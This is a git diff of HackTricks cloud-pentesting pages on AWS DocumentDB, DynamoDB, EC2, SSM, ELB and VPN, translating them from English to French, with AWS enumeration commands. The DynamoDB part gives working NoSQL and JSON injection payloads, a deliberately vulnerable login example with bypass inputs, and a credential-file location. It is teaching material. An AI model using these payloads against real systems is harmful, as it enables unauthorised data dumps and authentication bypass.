-
 ### Privesc
 
 {{#ref}}
@@ -117,7 +113,3 @@ aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymo
 {{#endref}}
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md
index caf35d03c..f6726e393 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md
@@ -4,10 +4,9 @@
 
 ## DocumentDB
 
-Amazon DocumentDB, offering compatibility with MongoDB, is presented as a **fast, reliable, and fully managed database service**. Designed for simplicity in deployment, operation, and scalability, it allows the **seamless migration and operation of MongoDB-compatible databases in the cloud**. Users can leverage this service to execute their existing application code and utilize familiar drivers and tools, ensuring a smooth transition and operation akin to working with MongoDB.
+Amazon DocumentDB, offrant une compatibilité avec MongoDB, est présenté comme un **service de base de données rapide, fiable et entièrement géré**. Conçu pour la simplicité de déploiement, d'exploitation et d'évolutivité, il permet la **migration et l'exploitation sans faille de bases de données compatibles MongoDB dans le cloud**. Les utilisateurs peuvent tirer parti de ce service pour exécuter leur code d'application existant et utiliser des pilotes et outils familiers, garantissant une transition et une opération fluides semblables à celles de MongoDB.
 
 ### Enumeration
-
 ```bash
 aws docdb describe-db-clusters # Get username from "MasterUsername", get also the endpoint from "Endpoint"
 aws docdb describe-db-instances #Get hostnames from here
@@ -20,10 +19,9 @@ aws docdb describe-db-cluster-parameters --db-cluster-parameter-group-name <para
 aws docdb describe-db-cluster-snapshots
 aws --region us-east-1 --profile ad docdb describe-db-cluster-snapshot-attributes --db-cluster-snapshot-identifier <snap_id>
 ```
+### Injection NoSQL
 
-### NoSQL Injection
-
-As DocumentDB is a MongoDB compatible database, you can imagine it's also vulnerable to common NoSQL injection attacks:
+Comme DocumentDB est une base de données compatible avec MongoDB, vous pouvez imaginer qu'elle est également vulnérable aux attaques courantes par injection NoSQL :
 
 {{#ref}}
 https://book.hacktricks.xyz/pentesting-web/nosql-injection
@@ -35,12 +33,8 @@ https://book.hacktricks.xyz/pentesting-web/nosql-injection
 ../aws-unauthenticated-enum-access/aws-documentdb-enum.md
 {{#endref}}
 
-## References
+## Références
 
 - [https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/](https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md
index cb0864715..b096de511 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md
@@ -4,30 +4,29 @@
 
 ## DynamoDB
 
-### Basic Information
+### Informations de base
 
-Amazon DynamoDB is presented by AWS as a **fully managed, serverless, key-value NoSQL database**, tailored for powering high-performance applications regardless of their size. The service ensures robust features including inherent security measures, uninterrupted backups, automated replication across multiple regions, integrated in-memory caching, and convenient data export utilities.
+Amazon DynamoDB est présenté par AWS comme une **base de données NoSQL clé-valeur entièrement gérée et sans serveur**, conçue pour alimenter des applications haute performance, quelle que soit leur taille. Le service garantit des fonctionnalités robustes, y compris des mesures de sécurité inhérentes, des sauvegardes ininterrompues, une réplication automatisée à travers plusieurs régions, un cache en mémoire intégré et des utilitaires d'exportation de données pratiques.
 
-In the context of DynamoDB, instead of establishing a traditional database, **tables are created**. Each table mandates the specification of a **partition key** as an integral component of the **table's primary key**. This partition key, essentially a **hash value**, plays a critical role in both the retrieval of items and the distribution of data across various hosts. This distribution is pivotal for maintaining both scalability and availability of the database. Additionally, there's an option to incorporate a **sort key** to further refine data organization.
+Dans le contexte de DynamoDB, au lieu d'établir une base de données traditionnelle, **des tables sont créées**. Chaque table nécessite la spécification d'une **clé de partition** comme composant intégral de la **clé primaire de la table**. Cette clé de partition, essentiellement une **valeur de hachage**, joue un rôle critique tant dans la récupération des éléments que dans la distribution des données à travers divers hôtes. Cette distribution est essentielle pour maintenir à la fois la scalabilité et la disponibilité de la base de données. De plus, il est possible d'incorporer une **clé de tri** pour affiner davantage l'organisation des données.
 
-### Encryption
+### Chiffrement
 
-By default, DynamoDB uses a KMS key that \*\*belongs to Amazon DynamoDB,\*\*not even the AWS managed key that at least belongs to your account.
+Par défaut, DynamoDB utilise une clé KMS qui **appartient à Amazon DynamoDB,** pas même la clé gérée par AWS qui appartient au moins à votre compte.
 
 <figure><img src="https://lh4.googleusercontent.com/JjtNS7aA-_GRMgZb4v93jWEQJi6DQdUPq0FEpzZPdeyCeNoG05p0NJiV9Zs-ULs_-Tfjmx0W1ZgsE2Ui2ljo7D-1a87Xny-gpLVQO0XmXdFoph9ci1RepbVNwaCe9oPruEZSEDxGTxF5dIv6pW1WpT6kWA=s2048" alt=""><figcaption></figcaption></figure>
 
-### Backups & Export to S3
+### Sauvegardes et exportation vers S3
 
-It's possible to **schedule** the generation of **table backups** or create them on **demand**. Moreover, it's also possible to enable **Point-in-time recovery (PITR) for a table.** Point-in-time recovery provides continuous **backups** of your DynamoDB data for **35 days** to help you protect against accidental write or delete operations.
+Il est possible de **programmer** la génération de **sauvegardes de table** ou de les créer à la **demande**. De plus, il est également possible d'activer **la récupération à un instant donné (PITR) pour une table.** La récupération à un instant donné fournit des **sauvegardes** continues de vos données DynamoDB pendant **35 jours** pour vous aider à vous protéger contre des opérations d'écriture ou de suppression accidentelles.
 
-It's also possible to export **the data of a table to S3**, but the table needs to have **PITR enabled**.
+Il est également possible d'exporter **les données d'une table vers S3**, mais la table doit avoir **PITR activé**.
 
 ### GUI
 
-There is a GUI for local Dynamo services like [DynamoDB Local](https://aws.amazon.com/blogs/aws/dynamodb-local-for-desktop-development/), [dynalite](https://github.com/mhart/dynalite), [localstack](https://github.com/localstack/localstack), etc, that could be useful: [https://github.com/aaronshaf/dynamodb-admin](https://github.com/aaronshaf/dynamodb-admin)
-
-### Enumeration
+Il existe une interface graphique pour les services Dynamo locaux comme [DynamoDB Local](https://aws.amazon.com/blogs/aws/dynamodb-local-for-desktop-development/), [dynalite](https://github.com/mhart/dynalite), [localstack](https://github.com/localstack/localstack), etc., qui pourrait être utile : [https://github.com/aaronshaf/dynamodb-admin](https://github.com/aaronshaf/dynamodb-admin)
 
+### Énumération
 ```bash
 # Tables
 aws dynamodb list-tables
@@ -36,7 +35,7 @@ aws dynamodb describe-table --table-name <t_name> #Get metadata info
 
 #Check if point in time recovery is enabled
 aws dynamodb describe-continuous-backups \
-  --table-name tablename
+--table-name tablename
 
 # Backups
 aws dynamodb list-backups
@@ -54,8 +53,7 @@ aws dynamodb describe-export --export-arn <arn>
 # Misc
 aws dynamodb describe-endpoints #Dynamodb endpoints
 ```
-
-### Unauthenticated Access
+### Accès non authentifié
 
 {{#ref}}
 ../aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md
@@ -73,110 +71,94 @@ aws dynamodb describe-endpoints #Dynamodb endpoints
 ../aws-post-exploitation/aws-dynamodb-post-exploitation.md
 {{#endref}}
 
-### Persistence
+### Persistance
 
 {{#ref}}
 ../aws-persistence/aws-dynamodb-persistence.md
 {{#endref}}
 
-## DynamoDB Injection
+## Injection DynamoDB
 
-### SQL Injection
+### Injection SQL
 
-There are ways to access DynamoDB data with **SQL syntax**, therefore, typical **SQL injections are also possible**.
+Il existe des moyens d'accéder aux données DynamoDB avec **la syntaxe SQL**, donc, des **injections SQL typiques sont également possibles**.
 
 {{#ref}}
 https://book.hacktricks.xyz/pentesting-web/sql-injection
 {{#endref}}
 
-### NoSQL Injection
+### Injection NoSQL
 
-In DynamoDB different **conditions** can be used to retrieve data, like in a common NoSQL Injection if it's possible to **chain more conditions to retrieve** data you could obtain hidden data (or dump the whole table).\
-You can find here the conditions supported by DynamoDB: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)
+Dans DynamoDB, différentes **conditions** peuvent être utilisées pour récupérer des données, comme dans une injection NoSQL classique. S'il est possible de **chaîner plus de conditions pour récupérer** des données, vous pourriez obtenir des données cachées (ou vider toute la table).\
+Vous pouvez trouver ici les conditions prises en charge par DynamoDB : [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)
 
-Note that **different conditions** are supported if the data is being accessed via **`query`** or via **`scan`**.
+Notez que **différentes conditions** sont prises en charge si les données sont accessibles via **`query`** ou via **`scan`**.
 
 > [!NOTE]
-> Actually, **Query** actions need to specify the **condition "EQ" (equals)** in the **primary** key to works, making it much **less prone to NoSQL injections** (and also making the operation very limited).
-
-If you can **change the comparison** performed or add new ones, you could retrieve more data.
+> En fait, les actions **Query** doivent spécifier la **condition "EQ" (égal)** dans la **clé primaire** pour fonctionner, ce qui les rend beaucoup **moins susceptibles aux injections NoSQL** (et rend également l'opération très limitée).
 
+Si vous pouvez **modifier la comparaison** effectuée ou en ajouter de nouvelles, vous pourriez récupérer plus de données.
 ```bash
 # Comparators to dump the database
 "NE": "a123" #Get everything that doesn't equal "a123"
 "NOT_CONTAINS": "a123" #What you think
 "GT": " " #All strings are greater than a space
 ```
-
 {{#ref}}
 https://book.hacktricks.xyz/pentesting-web/nosql-injection
 {{#endref}}
 
-### Raw Json injection
+### Injection Json brute
 
 > [!CAUTION]
-> **This vulnerability is based on dynamodb Scan Filter which is now deprecated!**
+> **Cette vulnérabilité est basée sur le filtre de scan de dynamodb qui est maintenant obsolète !**
 
-**DynamoDB** accepts **Json** objects to **search** for data inside the DB. If you find that you can write in the json object sent to search, you could make the DB dump, all the contents.
-
-For example, injecting in a request like:
+**DynamoDB** accepte des objets **Json** pour **rechercher** des données dans la base de données. Si vous constatez que vous pouvez écrire dans l'objet json envoyé pour la recherche, vous pourriez faire un dump de la base de données, tout le contenu.
 
+Par exemple, injecter dans une requête comme :
 ```bash
 '{"Id": {"ComparisonOperator": "EQ","AttributeValueList": [{"N": "' + user_input + '"}]}}'
 ```
-
-an attacker could inject something like:
+un attaquant pourrait injecter quelque chose comme :
 
 `1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0`
 
-fix the "EQ" condition searching for the ID 1000 and then looking for all the data with a Id string greater and 0, which is all.
-
-Another **vulnerable example using a login** could be:
+corriger la condition "EQ" en recherchant l'ID 1000 et ensuite en cherchant toutes les données avec une chaîne Id supérieure à 0, ce qui est tout.
 
+Un **exemple vulnérable utilisant une connexion** pourrait être :
 ```python
 scan_filter = """{
-    "username": {
-        "ComparisonOperator": "EQ",
-        "AttributeValueList": [{"S": "%s"}]
-    },
-    "password": {
-        "ComparisonOperator": "EQ",
-        "AttributeValueList": [{"S": "%s"}]
-    }
+"username": {
+"ComparisonOperator": "EQ",
+"AttributeValueList": [{"S": "%s"}]
+},
+"password": {
+"ComparisonOperator": "EQ",
+"AttributeValueList": [{"S": "%s"}]
+}
 }
 """ % (user_data['username'], user_data['password'])
 
 dynamodb.scan(TableName="table-name", ScanFilter=json.loads(scan_filter))
 ```
-
-This would be vulnerable to:
-
+Cela serait vulnérable à :
 ```
 username: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
 password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
 ```
-
 ### :property Injection
 
-Some SDKs allows to use a string indicating the filtering to be performed like:
-
+Certain SDKs permettent d'utiliser une chaîne indiquant le filtrage à effectuer comme :
 ```java
 new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap)
 ```
+Vous devez savoir que la recherche dans DynamoDB pour **substituer** une **valeur** d'attribut dans des **expressions de filtre** lors de la numérisation des éléments, les jetons doivent **commencer** par le caractère **`:`**. De tels jetons seront **remplacés** par la véritable **valeur d'attribut à l'exécution**.
 
-You need to know that searching in DynamoDB for **substituting** an attribute **value** in **filter expressions** while scanning the items, the tokens should **begin** with the **`:`** character. Such tokens will be **replaced** with actual **attribute value at runtime**.
-
-Therefore, a login like the previous one can be bypassed with something like:
-
+Par conséquent, une connexion comme la précédente peut être contournée avec quelque chose comme :
 ```bash
 :username = :username or :username
 # This will generate the query:
 # :username = :username or :username = :username and Password = :password
 # which is always true
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
index f365bc7f5..8ad88bc74 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
@@ -2,9 +2,9 @@
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-## VPC & Networking
+## VPC & Réseautage
 
-Learn what a VPC is and about its components in:
+Apprenez ce qu'est un VPC et ses composants dans :
 
 {{#ref}}
 aws-vpc-and-networking-basic-information.md
@@ -12,37 +12,36 @@ aws-vpc-and-networking-basic-information.md
 
 ## EC2
 
-Amazon EC2 is utilized for initiating **virtual servers**. It allows for the configuration of **security** and **networking** and the management of **storage**. The flexibility of Amazon EC2 is evident in its ability to scale resources both upwards and downwards, effectively adapting to varying requirement changes or surges in popularity. This feature diminishes the necessity for precise traffic predictions.
+Amazon EC2 est utilisé pour initier des **serveurs virtuels**. Il permet la configuration de la **sécurité** et du **réseautage** ainsi que la gestion du **stockage**. La flexibilité d'Amazon EC2 est évidente dans sa capacité à faire évoluer les ressources à la hausse et à la baisse, s'adaptant efficacement aux variations des besoins ou aux pics de popularité. Cette fonctionnalité réduit la nécessité de prévisions de trafic précises.
 
-Interesting things to enumerate in EC2:
+Choses intéressantes à énumérer dans EC2 :
 
-- Virtual Machines
-  - SSH Keys
-  - User Data
-  - Existing EC2s/AMIs/Snapshots
-- Networking
-  - Networks
-  - Subnetworks
-  - Public IPs
-  - Open ports
-- Integrated connections with other networks outside AWS
+- Machines Virtuelles
+- Clés SSH
+- Données Utilisateur
+- EC2/AMIs/Snapshots existants
+- Réseautage
+- Réseaux
+- Sous-réseaux
+- IPs Publiques
+- Ports ouverts
+- Connexions intégrées avec d'autres réseaux en dehors d'AWS
 
-### Instance Profiles
+### Profils d'Instance
 
-Using **roles** to grant permissions to applications that run on **EC2 instances** requires a bit of extra configuration. An application running on an EC2 instance is abstracted from AWS by the virtualized operating system. Because of this extra separation, you need an additional step to assign an AWS role and its associated permissions to an EC2 instance and make them available to its applications.
+Utiliser des **rôles** pour accorder des permissions aux applications qui s'exécutent sur des **instances EC2** nécessite un peu de configuration supplémentaire. Une application s'exécutant sur une instance EC2 est abstraite d'AWS par le système d'exploitation virtualisé. En raison de cette séparation supplémentaire, vous devez effectuer une étape supplémentaire pour attribuer un rôle AWS et ses permissions associées à une instance EC2 et les rendre disponibles pour ses applications.
 
-This extra step is the **creation of an** [_**instance profile**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) attached to the instance. The **instance profile contains the role and** can provide the role's temporary credentials to an application that runs on the instance. Those temporary credentials can then be used in the application's API calls to access resources and to limit access to only those resources that the role specifies. Note that **only one role can be assigned to an EC2 instance** at a time, and all applications on the instance share the same role and permissions.
+Cette étape supplémentaire est la **création d'un** [_**profil d'instance**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) attaché à l'instance. Le **profil d'instance contient le rôle et** peut fournir les identifiants temporaires du rôle à une application qui s'exécute sur l'instance. Ces identifiants temporaires peuvent ensuite être utilisés dans les appels API de l'application pour accéder aux ressources et limiter l'accès uniquement à celles que le rôle spécifie. Notez que **seul un rôle peut être attribué à une instance EC2** à la fois, et toutes les applications sur l'instance partagent le même rôle et les mêmes permissions.
 
-### Metadata Endpoint
+### Point de terminaison des métadonnées
 
-AWS EC2 metadata is information about an Amazon Elastic Compute Cloud (EC2) instance that is available to the instance at runtime. This metadata is used to provide information about the instance, such as its instance ID, the availability zone it is running in, the IAM role associated with the instance, and the instance's hostname.
+Les métadonnées AWS EC2 sont des informations sur une instance Amazon Elastic Compute Cloud (EC2) qui sont disponibles pour l'instance à l'exécution. Ces métadonnées sont utilisées pour fournir des informations sur l'instance, telles que son ID d'instance, la zone de disponibilité dans laquelle elle s'exécute, le rôle IAM associé à l'instance et le nom d'hôte de l'instance.
 
 {{#ref}}
 https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
 {{#endref}}
 
-### Enumeration
-
+### Énumération
 ```bash
 # Get EC2 instances
 aws ec2 describe-instances
@@ -50,10 +49,10 @@ aws ec2 describe-instance-status #Get status from running instances
 
 # Get user data from each ec2 instance
 for instanceid in $(aws ec2 describe-instances --profile <profile> --region us-west-2 | grep -Eo '"i-[a-zA-Z0-9]+' | tr -d '"'); do
-  echo "Instance ID: $instanceid"
-  aws ec2 describe-instance-attribute --profile <profile> --region us-west-2 --instance-id "$instanceid" --attribute userData | jq ".UserData.Value" | tr -d '"' | base64 -d
-  echo ""
-  echo "-------------------"
+echo "Instance ID: $instanceid"
+aws ec2 describe-instance-attribute --profile <profile> --region us-west-2 --instance-id "$instanceid" --attribute userData | jq ".UserData.Value" | tr -d '"' | base64 -d
+echo ""
+echo "-------------------"
 done
 
 # Instance profiles
@@ -128,8 +127,7 @@ aws ec2 describe-route-tables
 aws ec2 describe-vpcs
 aws ec2 describe-vpc-peering-connections
 ```
-
-### Unauthenticated Access
+### Accès non authentifié
 
 {{#ref}}
 ../../aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md
@@ -137,7 +135,7 @@ aws ec2 describe-vpc-peering-connections
 
 ### Privesc
 
-In the following page you can check how to **abuse EC2 permissions to escalate privileges**:
+Dans la page suivante, vous pouvez vérifier comment **abuser des permissions EC2 pour élever les privilèges** :
 
 {{#ref}}
 ../../aws-privilege-escalation/aws-ec2-privesc.md
@@ -151,17 +149,17 @@ In the following page you can check how to **abuse EC2 permissions to escalate p
 
 ## EBS
 
-Amazon **EBS** (Elastic Block Store) **snapshots** are basically static **backups** of AWS EBS volumes. In other words, they are **copies** of the **disks** attached to an **EC2** Instance at a specific point in time. EBS snapshots can be copied across regions and accounts, or even downloaded and run locally.
+Les **snapshots** Amazon **EBS** (Elastic Block Store) sont essentiellement des **sauvegardes** statiques des volumes EBS AWS. En d'autres termes, ce sont des **copies** des **disques** attachés à une instance **EC2** à un moment donné. Les snapshots EBS peuvent être copiés entre régions et comptes, ou même téléchargés et exécutés localement.
 
-Snapshots can contain **sensitive information** such as **source code or APi keys**, therefore, if you have the chance, it's recommended to check it.
+Les snapshots peuvent contenir des **informations sensibles** telles que **du code source ou des clés API**, par conséquent, si vous en avez l'occasion, il est recommandé de les vérifier.
 
-### Difference AMI & EBS
+### Différence AMI & EBS
 
-An **AMI** is used to **launch an EC2 instance**, while an EC2 **Snapshot** is used to **backup and recover data stored on an EBS volume**. While an EC2 Snapshot can be used to create a new AMI, it is not the same thing as an AMI, and it does not include information about the operating system, application server, or other software required to run an application.
+Une **AMI** est utilisée pour **lancer une instance EC2**, tandis qu'un **Snapshot** EC2 est utilisé pour **sauvegarder et récupérer des données stockées sur un volume EBS**. Bien qu'un Snapshot EC2 puisse être utilisé pour créer une nouvelle AMI, ce n'est pas la même chose qu'une AMI, et cela n'inclut pas d'informations sur le système d'exploitation, le serveur d'application ou d'autres logiciels nécessaires pour exécuter une application.
 
 ### Privesc
 
-In the following page you can check how to **abuse EBS permissions to escalate privileges**:
+Dans la page suivante, vous pouvez vérifier comment **abuser des permissions EBS pour élever les privilèges** :
 
 {{#ref}}
 ../../aws-privilege-escalation/aws-ebs-privesc.md
@@ -169,14 +167,13 @@ In the following page you can check how to **abuse EBS permissions to escalate p
 
 ## SSM
 
-**Amazon Simple Systems Manager (SSM)** allows to remotely manage floats of EC2 instances to make their administrations much more easy. Each of these instances need to be running the **SSM Agent service as the service will be the one getting the actions and performing them** from the AWS API.
+**Amazon Simple Systems Manager (SSM)** permet de gérer à distance des flottes d'instances EC2 pour faciliter leur administration. Chacune de ces instances doit exécuter le **service SSM Agent car ce service sera celui qui recevra les actions et les exécutera** via l'API AWS.
 
-**SSM Agent** makes it possible for Systems Manager to update, manage, and configure these resources. The agent **processes requests from the Systems Manager service in the AWS Cloud**, and then runs them as specified in the request.
+L'**Agent SSM** permet à Systems Manager de mettre à jour, gérer et configurer ces ressources. L'agent **traite les demandes du service Systems Manager dans le Cloud AWS**, puis les exécute comme spécifié dans la demande.
 
-The **SSM Agent comes**[ **preinstalled in some AMIs**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) or you need to [**manually install them**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) on the instances. Also, the IAM Role used inside the instance needs to have the policy **AmazonEC2RoleforSSM** attached to be able to communicate.
-
-### Enumeration
+L'**Agent SSM vient**[ **préinstallé dans certaines AMIs**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) ou vous devez [**les installer manuellement**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) sur les instances. De plus, le rôle IAM utilisé à l'intérieur de l'instance doit avoir la politique **AmazonEC2RoleforSSM** attachée pour pouvoir communiquer.
 
+### Énumération
 ```bash
 aws ssm describe-instance-information
 aws ssm describe-parameters
@@ -185,16 +182,13 @@ aws ssm describe-instance-patches --instance-id <id>
 aws ssm describe-instance-patch-states --instance-ids <id>
 aws ssm describe-instance-associations-status --instance-id <id>
 ```
-
-You can check in an EC2 instance if Systems Manager is runnign just by executing:
-
+Vous pouvez vérifier dans une instance EC2 si Systems Manager est en cours d'exécution simplement en exécutant :
 ```bash
 ps aux | grep amazon-ssm
 ```
-
 ### Privesc
 
-In the following page you can check how to **abuse SSM permissions to escalate privileges**:
+Dans la page suivante, vous pouvez vérifier comment **abuser des permissions SSM pour escalader les privilèges** :
 
 {{#ref}}
 ../../aws-privilege-escalation/aws-ssm-privesc.md
@@ -202,10 +196,9 @@ In the following page you can check how to **abuse SSM permissions to escalate p
 
 ## ELB
 
-**Elastic Load Balancing** (ELB) is a **load-balancing service for Amazon Web Services** (AWS) deployments. ELB automatically **distributes incoming application traffic** and scales resources to meet traffic demands.
+**Elastic Load Balancing** (ELB) est un **service d'équilibrage de charge pour les déploiements Amazon Web Services** (AWS). ELB distribue automatiquement **le trafic d'application entrant** et ajuste les ressources pour répondre aux demandes de trafic.
 
 ### Enumeration
-
 ```bash
 # List internet-facing ELBs
 aws elb describe-load-balancers
@@ -216,11 +209,9 @@ aws elbv2 describe-load-balancers
 aws elbv2 describe-load-balancers | jq '.LoadBalancers[].DNSName'
 aws elbv2 describe-listeners --load-balancer-arn <load_balancer_arn>
 ```
+## Modèles de lancement et groupes d'autoscaling
 
-## Launch Templates & Autoscaling Groups
-
-### Enumeration
-
+### Énumération
 ```bash
 # Launch templates
 aws ec2 describe-launch-templates
@@ -235,10 +226,9 @@ aws autoscaling describe-launch-configurations
 aws autoscaling describe-load-balancer-target-groups
 aws autoscaling describe-load-balancers
 ```
-
 ## Nitro
 
-AWS Nitro is a suite of **innovative technologies** that form the underlying platform for AWS EC2 instances. Introduced by Amazon to **enhance security, performance, and reliability**, Nitro leverages custom **hardware components and a lightweight hypervisor**. It abstracts much of the traditional virtualization functionality to dedicated hardware and software, **minimizing the attack surface** and improving resource efficiency. By offloading virtualization functions, Nitro allows EC2 instances to deliver **near bare-metal performance**, making it particularly beneficial for resource-intensive applications. Additionally, the Nitro Security Chip specifically ensures the **security of the hardware and firmware**, further solidifying its robust architecture.
+AWS Nitro est un ensemble de **technologies innovantes** qui forment la plateforme sous-jacente pour les instances AWS EC2. Introduit par Amazon pour **améliorer la sécurité, la performance et la fiabilité**, Nitro utilise des **composants matériels personnalisés et un hyperviseur léger**. Il abstrait une grande partie des fonctionnalités de virtualisation traditionnelles vers du matériel et des logiciels dédiés, **minimisant la surface d'attaque** et améliorant l'efficacité des ressources. En déchargeant les fonctions de virtualisation, Nitro permet aux instances EC2 de fournir une **performance proche du bare-metal**, ce qui est particulièrement bénéfique pour les applications gourmandes en ressources. De plus, la puce de sécurité Nitro garantit spécifiquement la **sécurité du matériel et du firmware**, renforçant ainsi son architecture robuste.
 
 Get more information and how to enumerate it from:
 
@@ -248,35 +238,34 @@ aws-nitro-enum.md
 
 ## VPN
 
-A VPN allows to connect your **on-premise network (site-to-site VPN)** or the **workers laptops (Client VPN)** with a **AWS VPC** so services can accessed without needing to expose them to the internet.
+Un VPN permet de connecter votre **réseau sur site (site-to-site VPN)** ou les **ordinateurs portables des travailleurs (Client VPN)** à un **AWS VPC** afin que les services puissent être accessibles sans avoir besoin de les exposer à Internet.
 
-#### Basic AWS VPN Components
+#### Composants de base du VPN AWS
 
 1. **Customer Gateway**:
-   - A Customer Gateway is a resource that you create in AWS to represent your side of a VPN connection.
-   - It is essentially a physical device or software application on your side of the Site-to-Site VPN connection.
-   - You provide routing information and the public IP address of your network device (such as a router or a firewall) to AWS to create a Customer Gateway.
-   - It serves as a reference point for setting up the VPN connection and doesn't incur additional charges.
+- Un Customer Gateway est une ressource que vous créez dans AWS pour représenter votre côté d'une connexion VPN.
+- C'est essentiellement un appareil physique ou une application logicielle de votre côté de la connexion Site-to-Site VPN.
+- Vous fournissez des informations de routage et l'adresse IP publique de votre appareil réseau (comme un routeur ou un pare-feu) à AWS pour créer un Customer Gateway.
+- Il sert de point de référence pour établir la connexion VPN et n'entraîne pas de frais supplémentaires.
 2. **Virtual Private Gateway**:
-   - A Virtual Private Gateway (VPG) is the VPN concentrator on the Amazon side of the Site-to-Site VPN connection.
-   - It is attached to your VPC and serves as the target for your VPN connection.
-   - VPG is the AWS side endpoint for the VPN connection.
-   - It handles the secure communication between your VPC and your on-premises network.
+- Un Virtual Private Gateway (VPG) est le concentrateur VPN du côté Amazon de la connexion Site-to-Site VPN.
+- Il est attaché à votre VPC et sert de cible pour votre connexion VPN.
+- VPG est le point de terminaison du côté AWS pour la connexion VPN.
+- Il gère la communication sécurisée entre votre VPC et votre réseau sur site.
 3. **Site-to-Site VPN Connection**:
-   - A Site-to-Site VPN connection connects your on-premises network to a VPC through a secure, IPsec VPN tunnel.
-   - This type of connection requires a Customer Gateway and a Virtual Private Gateway.
-   - It's used for secure, stable, and consistent communication between your data center or network and your AWS environment.
-   - Typically used for regular, long-term connections and is billed based on the amount of data transferred over the connection.
+- Une connexion Site-to-Site VPN connecte votre réseau sur site à un VPC via un tunnel VPN IPsec sécurisé.
+- Ce type de connexion nécessite un Customer Gateway et un Virtual Private Gateway.
+- Il est utilisé pour une communication sécurisée, stable et cohérente entre votre centre de données ou réseau et votre environnement AWS.
+- Utilisé généralement pour des connexions régulières et à long terme, et est facturé en fonction de la quantité de données transférées via la connexion.
 4. **Client VPN Endpoint**:
-   - A Client VPN endpoint is a resource that you create in AWS to enable and manage client VPN sessions.
-   - It is used for allowing individual devices (like laptops, smartphones, etc.) to securely connect to AWS resources or your on-premises network.
-   - It differs from Site-to-Site VPN in that it is designed for individual clients rather than connecting entire networks.
-   - With Client VPN, each client device uses a VPN client software to establish a secure connection.
+- Un point de terminaison Client VPN est une ressource que vous créez dans AWS pour activer et gérer les sessions VPN client.
+- Il est utilisé pour permettre à des appareils individuels (comme des ordinateurs portables, des smartphones, etc.) de se connecter en toute sécurité aux ressources AWS ou à votre réseau sur site.
+- Il diffère du Site-to-Site VPN en ce qu'il est conçu pour des clients individuels plutôt que pour connecter des réseaux entiers.
+- Avec Client VPN, chaque appareil client utilise un logiciel client VPN pour établir une connexion sécurisée.
 
 You can [**find more information about the benefits and components of AWS VPNs here**](aws-vpc-and-networking-basic-information.md#vpn).
 
 ### Enumeration
-
 ```bash
 # VPN endpoints
 ## Check used subnetwork, authentication, SGs, connected...
@@ -300,31 +289,26 @@ aws ec2 describe-vpn-gateways
 # Get VPN site-to-site connections
 aws ec2 describe-vpn-connections
 ```
+### Énumération Locale
 
-### Local Enumeration
+**Identifiants Temporaires Locaux**
 
-**Local Temporary Credentials**
+Lorsque le client VPN AWS est utilisé pour se connecter à un VPN, l'utilisateur se **connecte généralement à AWS** pour accéder au VPN. Ensuite, certains **identifiants AWS sont créés et stockés** localement pour établir la connexion VPN. Ces identifiants sont **stockés dans** `$HOME/.config/AWSVPNClient/TemporaryCredentials/<region>/temporary-credentials.txt` et contiennent une **AccessKey**, une **SecretKey** et un **Token**.
 
-When AWS VPN Client is used to connect to a VPN, the user will usually **login in AWS** to get access to the VPN. Then, some **AWS credentials are created and stored** locally to establish the VPN connection. These credentials are **stored in** `$HOME/.config/AWSVPNClient/TemporaryCredentials/<region>/temporary-credentials.txt` and contains an **AccessKey**, a **SecretKey** and a **Token**.
+Les identifiants appartiennent à l'utilisateur `arn:aws:sts::<acc-id>:assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` (TODO : rechercher plus sur les permissions de ces identifiants).
 
-The credentials belong to the user `arn:aws:sts::<acc-id>:assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` (TODO: research more about the permissions of this credentials).
+**Fichiers de configuration opvn**
 
-**opvn config files**
